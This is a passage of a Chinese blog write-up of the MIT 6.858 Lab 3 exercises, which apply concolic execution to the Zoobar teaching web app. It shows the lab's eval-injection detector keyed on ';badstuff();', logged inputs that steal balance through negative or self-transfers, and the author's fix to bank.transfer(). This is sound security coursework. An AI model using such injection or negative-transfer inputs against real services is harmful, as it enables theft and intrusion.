    primary_key_in_row = getattr(r, r.__table__.primary_key.columns.keys()[0])
    if primary_key_in_row == primary_key:
      return r

  return None
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行，成功通过 Exercise 8：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;symex-exercise8-pass-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意这里需要&lt;strong&gt;额外通过 Exercise 9 的第一项才表示做对了&lt;&#x2F;strong&gt;，因为后面需要借助这里的符号执行代码演示一些东西&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;现在我们可以开始对 Zoobar 应用我们的混合执行框架了，我们首先尝试运行 &lt;code&gt;.&#x2F;check-symex-zoobar.py&lt;&#x2F;code&gt;，在其中有着对 Zoobar 使用符号输入的相关逻辑，且为了让混合执行能够快速结束，其过度约束了给予 Zoobar 的输入，此外所有的 HTTP 请求方法（于 &lt;code&gt;environ[&#x27;REQUEST_METHOD&#x27;]&lt;&#x2F;code&gt; 中）皆为 &lt;code&gt;GET&lt;&#x2F;code&gt;，且请求的所有 UQL（于 &lt;code&gt;environ[&#x27;PATH_INFO&#x27;]&lt;&#x2F;code&gt; 中）皆以 &lt;code&gt;trans&lt;&#x2F;code&gt; 起始&lt;&#x2F;p&gt;
&lt;p&gt;相较于直接运行，Lab 更推荐使用 &lt;code&gt;script&lt;&#x2F;code&gt; 来运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ script -c .&amp;#x2F;check-symex-zoobar.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后屏幕上会持续打出一堆信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;symex-zoobar-iterations.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;大概十几秒后结束，迭代的数量表示不同的路径：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;check-symex-zoobar-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;和实验手册中不同的是笔者这里有 &lt;code&gt;142 iterations&lt;&#x2F;code&gt;，但在实验手册里是 &lt;code&gt;139&lt;&#x2F;code&gt;，这里暂且先不管（&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;由于 Zoobar 由 Python 编写，故不会有内存损坏这一类的漏洞（这句话是实验手册说的，但是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.cvedetails.com&#x2F;cve&#x2F;CVE-2021-3177&#x2F;&quot;&gt; CVE-2021-3177&lt;&#x2F;a&gt;和一众其他 CVE 表示：怎么会是呢？），因此我们没法立刻辨明在这一百多路径中是否存在问题，因此我们需要借助一些显式的不变量（invariant）来捕捉表示安全问题的情况&lt;&#x2F;p&gt;
&lt;p&gt;Lab 已经实现了的一个不变量便是 eval injection——即对 &lt;code&gt;eval()&lt;&#x2F;code&gt; 的参数进行注入，在 &lt;code&gt;symex&#x2F;symeval.py&lt;&#x2F;code&gt; 中 Lab 给出了对这种情况的检查思路：若传给 &lt;code&gt;eval()&lt;&#x2F;code&gt; 的字符串可以包含  &lt;code&gt;;badstuff();&lt;&#x2F;code&gt; ，说明我们发现了一个 eval injection 漏洞——由此我们可以让混合执行系统去尝试构建能包含该子串的字符串&lt;&#x2F;p&gt;
&lt;p&gt;我们可以使用如下命令查看 Zoobar 中是否存在 eval injection 漏洞：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ script -c .&amp;#x2F;check-symex-zoobar.py | grep &amp;quot;Exception: eval injection&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果如下，发现了两个 eval injection：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;eval-injection-symex-detect.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;现在我们来看  &lt;code&gt;symex&#x2F;symeval.py&lt;&#x2F;code&gt;  的内部逻辑，其逻辑比较简单，主要就是给内置的 &lt;code&gt;eval()&lt;&#x2F;code&gt; 套了一层 wrapper，检查参数是否带有  &lt;code&gt;;badstuff();&lt;&#x2F;code&gt; 字符串，若是则直接抛异常：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;real_eval = builtins.eval
def myeval(expr, globals = None, locals = None):
  if &amp;#x27;;badstuff();&amp;#x27; in expr:
    raise Exception(&amp;quot;eval injection&amp;quot;)
  if locals is None and globals is not None:
    locals = globals
  if locals is None and globals is None:
    frame = inspect.currentframe()
    try:
      locals = frame.f_back.f_locals
      globals = frame.f_back.f_globals
    finally:
      del frame

  ## Try to evaluate the expression as an integer
  v = str_to_small_int(expr)
  if v is not None:
    return v

  return real_eval(expr, globals, locals)
builtins.eval = myeval
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而在 &lt;code&gt;check-symex-zoobar.py&lt;&#x2F;code&gt; 当中，应用了混合执行框架的为 &lt;code&gt;test_stuff()&lt;&#x2F;code&gt; 函数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;fuzzy.concolic_execs(test_stuff, maxiter=500, verbose=1)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们暂且先不关注 Zoobar 的实现为何，我们主要关注如何使用我们的混合执行系统来寻找其中的漏洞，在 &lt;code&gt;test_stuff()&lt;&#x2F;code&gt; 中实际上是通过将部分参数设置为混合值来进行混合执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def test_stuff():
  # Zoobar初始化工作
  pdb = zoobar.zoodb.person_setup()
  pdb.query(zoobar.zoodb.Person).delete()
  ##...

  ## 设置环境变量
  environ = {}
  ##...
  environ[&amp;#x27;HTTP_REFERER&amp;#x27;] = fuzzy.mk_str(&amp;#x27;referrer&amp;#x27;, &amp;#x27;&amp;#x27;)
  environ[&amp;#x27;HTTP_COOKIE&amp;#x27;] = fuzzy.mk_str(&amp;#x27;cookie&amp;#x27;, &amp;#x27;&amp;#x27;)

  ##...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来我们需要实现两种额外的不变量检查以检查 Zoobar 是否存在其他漏洞：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若没有新用户被注册，则所有用户的 Zoobar balances 之和应当在每次请求间保持一致&lt;&#x2F;li&gt;
&lt;li&gt;若用户 &lt;code&gt;u&lt;&#x2F;code&gt; 没有向 Zoobar 进行请求，&lt;code&gt;u&lt;&#x2F;code&gt; 的 Zoobar balance 不应当缩小&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;于是来到 Exercise 9，向  &lt;code&gt;check-symex-zoobar.py&lt;&#x2F;code&gt; 中添加相应的不变量检查：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 9.&lt;&#x2F;strong&gt;  Add invariant checks to &lt;code&gt;check-symex-zoobar.py&lt;&#x2F;code&gt; to implement the above two rules (total balance preservation and no zoobar theft). Look for the comment &lt;code&gt;Exercise 9: your code here&lt;&#x2F;code&gt; to see where you should write this code. When you detect a zoobar balance mismatch, call the &lt;code&gt;report_balance_mismatch()&lt;&#x2F;code&gt; function. When you detect zoobar theft, call &lt;code&gt;report_zoobar_theft()&lt;&#x2F;code&gt;.
Recall that our check for exercises 3-6, where you implemented the core of the concolic execution system, was not complete. If you are having trouble with this exercise, it may be that you did not implement exercises 3-6 correctly, so you may need to go back and fix it.
To check whether your solution works correctly, you need to re-run  &lt;strong&gt;.&#x2F;check-symex-zoobar.py&lt;&#x2F;strong&gt; and see whether the output contains the messages &lt;code&gt;WARNING: Balance mismatch detected&lt;&#x2F;code&gt; and &lt;code&gt;WARNING: Zoobar theft detected&lt;&#x2F;code&gt;. Alternatively, you can run&lt;strong&gt;make check&lt;&#x2F;strong&gt;, which will do this for you (run &lt;code&gt;check-symex-zoobar.py&lt;&#x2F;code&gt; and look for these magic strings).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;在 Zoobar 中实际上是通过 &lt;code&gt;zoobar.app()&lt;&#x2F;code&gt; 来完成 HTTP 请求的解析实现，因此在  &lt;code&gt;test_stuff()&lt;&#x2F;code&gt;  中选择直接构造请求（&lt;code&gt;environ&lt;&#x2F;code&gt; 字典）传递给该函数来模拟向 Zoobar 发送 HTTP 请求的过程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  environ = {}
  ##...
  environ[&amp;#x27;REQUEST_METHOD&amp;#x27;] = &amp;#x27;GET&amp;#x27;
  environ[&amp;#x27;PATH_INFO&amp;#x27;] = &amp;#x27;trans&amp;#x27; + fuzzy.mk_str(&amp;#x27;path&amp;#x27;, &amp;#x27;&amp;#x27;)

  if environ[&amp;#x27;PATH_INFO&amp;#x27;].startswith(&amp;#x27;&amp;#x2F;&amp;#x2F;&amp;#x27;):
    ## Don&amp;#x27;t bother trying to construct paths with lots of slashes;
    ## otherwise, the lstrip() code generates lots of paths..
    return

  resp = zoobar.app(environ, startresp)
  if verbose:
    for x in resp:
      print(x)
  ##...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们对代码的检查则是在请求完成后进行的，首先是对 balance 的检查，这里不了解 Zoobar 的相关结构（或者没来得及&#x2F;懒得看）也不要紧，在 &lt;code&gt;test_stuff()&lt;&#x2F;code&gt; 的开头有这样的计算 balances 总和的逻辑：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def test_stuff():
  pdb = zoobar.zoodb.person_setup()
  pdb.query(zoobar.zoodb.Person).delete()
  adduser(pdb, &amp;#x27;alice&amp;#x27;, &amp;#x27;atok&amp;#x27;)
  adduser(pdb, &amp;#x27;bob&amp;#x27;, &amp;#x27;btok&amp;#x27;)
  # 计算 balance 总和
  balance1 = sum([p.zoobars for p in pdb.query(zoobar.zoodb.Person).all()])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于单个用户而言我们可以使用 &lt;code&gt;person.zoobars&lt;&#x2F;code&gt; 获取其 balance，而我们可以通过 &lt;code&gt;pdb.query(zoobar.zoodb.Person).all()&lt;&#x2F;code&gt; 获取用户对象列表 ，那么我们只需要在请求结束后使用同样的逻辑计算当前的 balance，并与原 balance 对比即可，若不一致则按手册说明调用 &lt;code&gt;report_balance_mismatch()&lt;&#x2F;code&gt; 即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  ## Exercise 9: your code here.

  ## Detect balance mismatch.
  ## When detected, call report_balance_mismatch()
  balance2 = sum([p.zoobars for p in pdb.query(zoobar.zoodb.Person).all()])
  if balance1 != balance2:
    report_balance_mismatch()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后是第二个问题，我们需要找到没有进行操作但是 balance 缩小了的用户（即发生转出），由于在测试函数中仅进行了一次操作，故未进行操作的用户的 balance &lt;strong&gt;不应当小于初始值&lt;&#x2F;strong&gt;（但是可以大于，因为可以有别的账户向其进行转入），因此我们需要知道一个用户的初始信息&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;test_stuff()&lt;&#x2F;code&gt; 开头便对应创建了两个数据库，因此我们可以从其定义入手：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def test_stuff():
  pdb = zoobar.zoodb.person_setup()
  pdb.query(zoobar.zoodb.Person).delete()
  adduser(pdb, &amp;#x27;alice&amp;#x27;, &amp;#x27;atok&amp;#x27;)
  adduser(pdb, &amp;#x27;bob&amp;#x27;, &amp;#x27;btok&amp;#x27;)
  balance1 = sum([p.zoobars for p in pdb.query(zoobar.zoodb.Person).all()])
  pdb.commit()

  tdb = zoobar.zoodb.transfer_setup()
  tdb.query(zoobar.zoodb.Transfer).delete()
  tdb.commit()
  ##...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;code&gt;zoobar&#x2F;zoodb.py&lt;&#x2F;code&gt; 中定义了 Person 数据库，其中 balance（也就是 zoobars 字段）的初始值为 10，同时主键为 &lt;code&gt;username&lt;&#x2F;code&gt; ：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class Person(PersonBase):
    __tablename__ = &amp;quot;person&amp;quot;
    username = Column(String(128), primary_key=True)
    password = Column(String(128))
    token = Column(String(128))
    zoobars = Column(Integer, nullable=False, default=10)
    profile = Column(String(5000), nullable=False, default=&amp;quot;&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在该文件中还定义了 Transfer 数据库，应当用以表示单次交易的双方及数值：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class Transfer(TransferBase):
    __tablename__ = &amp;quot;transfer&amp;quot;
    id = Column(Integer, primary_key=True)
    sender = Column(String(128))
    recipient = Column(String(128))
    amount = Column(Integer)
    time = Column(String)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么我们不难想到的是，我们可以遍历 Person 数据库以获得所有用户的用户名集合，接下来遍历 Transfer 数据库来将用户名集合中的非 sender 给剔除（因为我们主要关注 recipient 发生了 balance 缩小的情况），最后检查剩余用户是否存在 balance 小于初始值的情况，若是则说明存在漏洞：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;  ## Detect zoobar theft.
  ## When detected, call report_zoobar_theft()
  udict = {}
  for p in pdb.query(zoobar.zoodb.Person).all():
    udict[p.username] = p
  for t in tdb.query(zoobar.zoodb.Transfer).all():
    udict.pop(t.sender)
  for username in udict.keys():
    if udict[username].zoobars &amp;lt; 10:
      report_zoobar_theft()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;成功通过 Exercise 9：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;exercise9-zoobar-theft-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后是 Exercise 10，修复 balance mismatch 和 zoobar theft 这两个漏洞（Lab 已经替我们修好了 eval injection 的漏洞），需要注意的是这里评测系统要求将存在问题的源码文件拷贝到 &lt;code&gt;zoobar-fixed&lt;&#x2F;code&gt; 下再进行修复，：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 10.&lt;&#x2F;strong&gt;  Fix the two bugs you found in Exercise 9, by copying whatever &lt;code&gt;.py&lt;&#x2F;code&gt; files you need to modify from the &lt;code&gt;zoobar&lt;&#x2F;code&gt; directory to &lt;code&gt;zoobar-fixed&lt;&#x2F;code&gt; and changing them there.
Recall that our check for exercises 3-6, where you implemented the core of the concolic execution system, was not complete. If you are having trouble with this exercise, it may be that you did not implement exercises 3-6 correctly, so you may need to go back and fix it.
To check whether your solution works correctly, you need to run  &lt;strong&gt;.&#x2F;check-symex-zoobar-fixed.sh&lt;&#x2F;strong&gt; and see whether the output still contains the messages &lt;code&gt;Exception: eval injection&lt;&#x2F;code&gt;, &lt;code&gt;WARNING: Balance mismatch detected&lt;&#x2F;code&gt; and &lt;code&gt;WARNING: Zoobar theft detected&lt;&#x2F;code&gt;. Alternatively, you can run&lt;strong&gt;make check&lt;&#x2F;strong&gt;, which will do this for you.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那么我们首先要找到漏洞出现的位置，笔者最初的思路是在两个找到漏洞的 report 函数进行约束求解就可以获得造成问题的输入，但是&lt;strong&gt;这个做法并不可行，因为本 Lab 提供的混合执行框架是高度封装好的&lt;&#x2F;strong&gt;，在 &lt;code&gt;concolic_execs()&lt;&#x2F;code&gt; 的执行过程中我们是没办法中途停下来进行约束求解的&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;笔者思考了半天怎么改才能在 &lt;code&gt;test_stuff()&lt;&#x2F;code&gt; 的两个 report() 函数进行约束求解来得到触发漏洞的输入，后面发现基本没啥可行性，实在要弄的话需要对整个框架进行大改，故就此作罢改换思路...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我们重新思考一个问题：  &lt;em&gt;Lab 3 为什么提供的是混合执行框架而非纯符号执行或是纯具体执行呢？&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;正如前文所言，concolic execution 的诞生便是为了解决 symbolic execution 与 concrete execution 所分别存在的问题，融合两者的特性来达到一个更好的效果&lt;&#x2F;p&gt;
&lt;p&gt;现在让我们重新审视 &lt;code&gt;concolic_execs()&lt;&#x2F;code&gt; 的执行流程：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;由一个外层大循环不断迭代&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;从输入队列中取出具体值字典&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;concolic_exec_input()&lt;&#x2F;code&gt; 执行目标函数，获取到返回值、分支条件列表、分支调用方列表&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;将得到的新的返回值添加至 &lt;code&gt;outs&lt;&#x2F;code&gt; 集合&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;内层小循环遍历分支条件列表&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;concolic_force_branch()&lt;&#x2F;code&gt; 获取将当前分支条件逆转后的约束条件&lt;&#x2F;li&gt;
&lt;li&gt;若该约束不在 &lt;code&gt;checked&lt;&#x2F;code&gt; （已验证约束集合）中，添加，并调用 &lt;code&gt;concolic_find_input()&lt;&#x2F;code&gt; 进行约束求解&lt;&#x2F;li&gt;
&lt;li&gt;约束可解，将结果添加到下一次作为输入的具体值字典中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们不难得知的是，当 &lt;code&gt;test_stuff()&lt;&#x2F;code&gt; 报告漏洞时，&lt;strong&gt;说明我们的 concolic execution system 给出了一个能够触发漏洞的 concrete input&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们可以使用如下语句来将输出重定向至当前目录下的 &lt;code&gt;typescript&lt;&#x2F;code&gt; 文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ script -c .&amp;#x2F;check-symex-zoobar.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前面我们用到的两个 report() 函数实际上就只是 &lt;code&gt;print()&lt;&#x2F;code&gt; 而已，我们只需要在输出结果中搜索对应的字符串即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def report_balance_mismatch():
  print(&amp;quot;WARNING: Balance mismatch detected&amp;quot;)

def report_zoobar_theft():
  print(&amp;quot;WARNING: Zoobar theft detected&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以下是两个例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;Trying concrete value: {&amp;#x27;form_recipient_present&amp;#x27;: 1, &amp;#x27;form_zoobars_present&amp;#x27;: 1, &amp;#x27;form_zoobars_val&amp;#x27;: &amp;#x27;-10&amp;#x27;, &amp;#x27;rsplit_split_cookie_=_r_#_r&amp;#x27;: &amp;#x27;atok&amp;#x27;, &amp;#x27;rsplit_split_cookie_=_r_#_l&amp;#x27;: &amp;#x27;alice&amp;#x27;, &amp;#x27;split_cookie_=_r&amp;#x27;: &amp;#x27;alice#atok&amp;#x27;, &amp;#x27;split_cookie_=_l&amp;#x27;: &amp;#x27;PyZoobarLogin&amp;#x27;, &amp;#x27;cookie&amp;#x27;: &amp;#x27;PyZoobarLogin=alice#atok&amp;#x27;, &amp;#x27;path&amp;#x27;: &amp;#x27;fer&amp;#x27;, &amp;#x27;form_recipient_val&amp;#x27;: &amp;#x27;alice&amp;#x27;, &amp;#x27;referrer&amp;#x27;: &amp;#x27;&amp;#x27;}
Response: 200 OK
  Content-Type: text&amp;#x2F;html; charset=utf-8
  Content-Length: 1689
  X-XSS-Protection: 0
b&amp;#x27;&amp;lt;!DOCTYPE html&amp;gt;\n&amp;lt;html&amp;gt;\n    &amp;lt;head&amp;gt;\n        &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;\n        &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text&amp;#x2F;css...
# response，比较长且无意义，这里暂且省略
WARNING: Balance mismatch detected
Trying concrete value: {&amp;#x27;form_recipient_present&amp;#x27;: 1, &amp;#x27;form_zoobars_present&amp;#x27;: 1, &amp;#x27;form_zoobars_val&amp;#x27;: &amp;#x27;-10&amp;#x27;, &amp;#x27;rsplit_split_cookie_=_r_#_r&amp;#x27;: &amp;#x27;atok&amp;#x27;, &amp;#x27;rsplit_split_cookie_=_r_#_l&amp;#x27;: &amp;#x27;alice&amp;#x27;, &amp;#x27;split_cookie_=_r&amp;#x27;: &amp;#x27;alice#atok&amp;#x27;, &amp;#x27;split_cookie_=_l&amp;#x27;: &amp;#x27;PyZoobarLogin&amp;#x27;, &amp;#x27;cookie&amp;#x27;: &amp;#x27;PyZoobarLogin=alice#atok&amp;#x27;, &amp;#x27;path&amp;#x27;: &amp;#x27;fer&amp;#x27;, &amp;#x27;form_recipient_val&amp;#x27;: &amp;#x27;bob&amp;#x27;, &amp;#x27;referrer&amp;#x27;: &amp;#x27;&amp;#x27;}
Response: 200 OK
  Content-Type: text&amp;#x2F;html; charset=utf-8
  Content-Length: 1686
  X-XSS-Protection: 0
b&amp;#x27;&amp;lt;!DOCTYPE html&amp;gt;\n&amp;lt;html&amp;gt;\n    &amp;lt;head&amp;gt;\n        &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;\n        &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;tex...
# response，比较长且无意义，这里暂且省略
WARNING: Zoobar theft detected
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数的含义不难辨认，&lt;code&gt;form_zoobars_val&lt;&#x2F;code&gt; 为单次 transfer 的数值，&lt;code&gt;cookie&lt;&#x2F;code&gt; 表示发送方用户名及 cookie，&lt;code&gt;form_recipient_val&lt;&#x2F;code&gt; 表示接收方用户名，那么这里我们可以推断出至少可能存在两个漏洞：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;未对负数的 transfer 进行过滤，导致一个用户可以盗取另一用户的 balance&lt;&#x2F;li&gt;
&lt;li&gt;未对 self-transfer 的情况做合适处理，导致最后总的 balance 不一致&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但这个时候我们只知道  &lt;em&gt;漏洞是存在的&lt;&#x2F;em&gt;  ，而不知道  &lt;em&gt;漏洞在何处&lt;&#x2F;em&gt;  ，那这里我们需要再审一审日志别的地方，我们不难发现会有一些抛异常的日志：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;Trying concrete value: {&amp;#x27;form_recipient_present&amp;#x27;: 1, &amp;#x27;form_zoobars_present&amp;#x27;: 1, &amp;#x27;rsplit_split_cookie_=_r_#_r&amp;#x27;: &amp;#x27;atok&amp;#x27;, &amp;#x27;rsplit_split_cookie_=_r_#_l&amp;#x27;: &amp;#x27;alice&amp;#x27;, &amp;#x27;split_cookie_=_r&amp;#x27;: &amp;#x27;alice#atok&amp;#x27;, &amp;#x27;split_cookie_=_l&amp;#x27;: &amp;#x27;PyZoobarLogin&amp;#x27;, &amp;#x27;cookie&amp;#x27;: &amp;#x27;PyZoobarLogin=alice#atok&amp;#x27;, &amp;#x27;path&amp;#x27;: &amp;#x27;fer&amp;#x27;, &amp;#x27;form_zoobars_val&amp;#x27;: &amp;#x27;1&amp;#x27;, &amp;#x27;referrer&amp;#x27;: &amp;#x27;&amp;#x27;, &amp;#x27;form_recipient_val&amp;#x27;: &amp;#x27;&amp;#x27;}
Traceback (most recent call last):
  File &amp;quot;&amp;#x2F;home&amp;#x2F;student&amp;#x2F;lab&amp;#x2F;zoobar&amp;#x2F;transfer.py&amp;quot;, line 16, in transfer
    bank.transfer(g.user.person.username,
  File &amp;quot;&amp;#x2F;home&amp;#x2F;student&amp;#x2F;lab&amp;#x2F;zoobar&amp;#x2F;bank.py&amp;quot;, line 12, in transfer
    recipient_balance = recipientp.zoobars + zoobars
AttributeError: &amp;#x27;NoneType&amp;#x27; object has no attribute &amp;#x27;zoobars&amp;#x27;
Response: 200 OK
  Content-Type: text&amp;#x2F;html; charset=utf-8
  Content-Length: 1683
  X-XSS-Protection: 0
b&amp;#x27;&amp;lt;!DOCTYPE html&amp;gt;\n&amp;lt;html&amp;gt;\n    &amp;lt;head&amp;gt;\n        &amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;\n
# response，比较长且无意义，这里暂且省略
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明主要的处理逻辑应当是在 &lt;code&gt;zoobar&#x2F;bank.py&lt;&#x2F;code&gt; 中的 &lt;code&gt;transfer()&lt;&#x2F;code&gt; 函数，接下来就是代码审计+修复环节了，该函数的核心逻辑主要就是开头这一段：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def transfer(sender, recipient, zoobars):
    persondb = person_setup()
    senderp = persondb.query(Person).get(sender)
    recipientp = persondb.query(Person).get(recipient)

    sender_balance = senderp.zoobars - zoobars
    recipient_balance = recipientp.zoobars + zoobars

    if sender_balance &amp;lt; 0 or recipient_balance &amp;lt; 0:
        raise ValueError()

    senderp.zoobars = sender_balance
    recipientp.zoobars = recipient_balance
    persondb.commit()

    ##...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;缺失了对 transfer 数量为负的检查&lt;&#x2F;li&gt;
&lt;li&gt;重复赋值导致对 self-transfer 的情况计算错误&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;修改的办法其实比较简单，由于 username 为主键，故若 &lt;code&gt;sender == recipient&lt;&#x2F;code&gt;，直接跳过转账操作即可，同时对 transfer 数量为负数的情况直接转为 0 即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def transfer(sender, recipient, zoobars):
    # for zoobars &amp;lt; 0, convert it to 0
    if zoobars &amp;lt; 0:
        zoobars = 0

    # if self-transfer, we don&amp;#x27;t need to do anything
    if sender != recipient:
        persondb = person_setup()
        senderp = persondb.query(Person).get(sender)
        recipientp = persondb.query(Person).get(recipient)

        sender_balance = senderp.zoobars - zoobars
        recipient_balance = recipientp.zoobars + zoobars

        if sender_balance &amp;lt; 0 or recipient_balance &amp;lt; 0:
            raise ValueError()

        senderp.zoobars = sender_balance
        recipientp.zoobars = recipient_balance
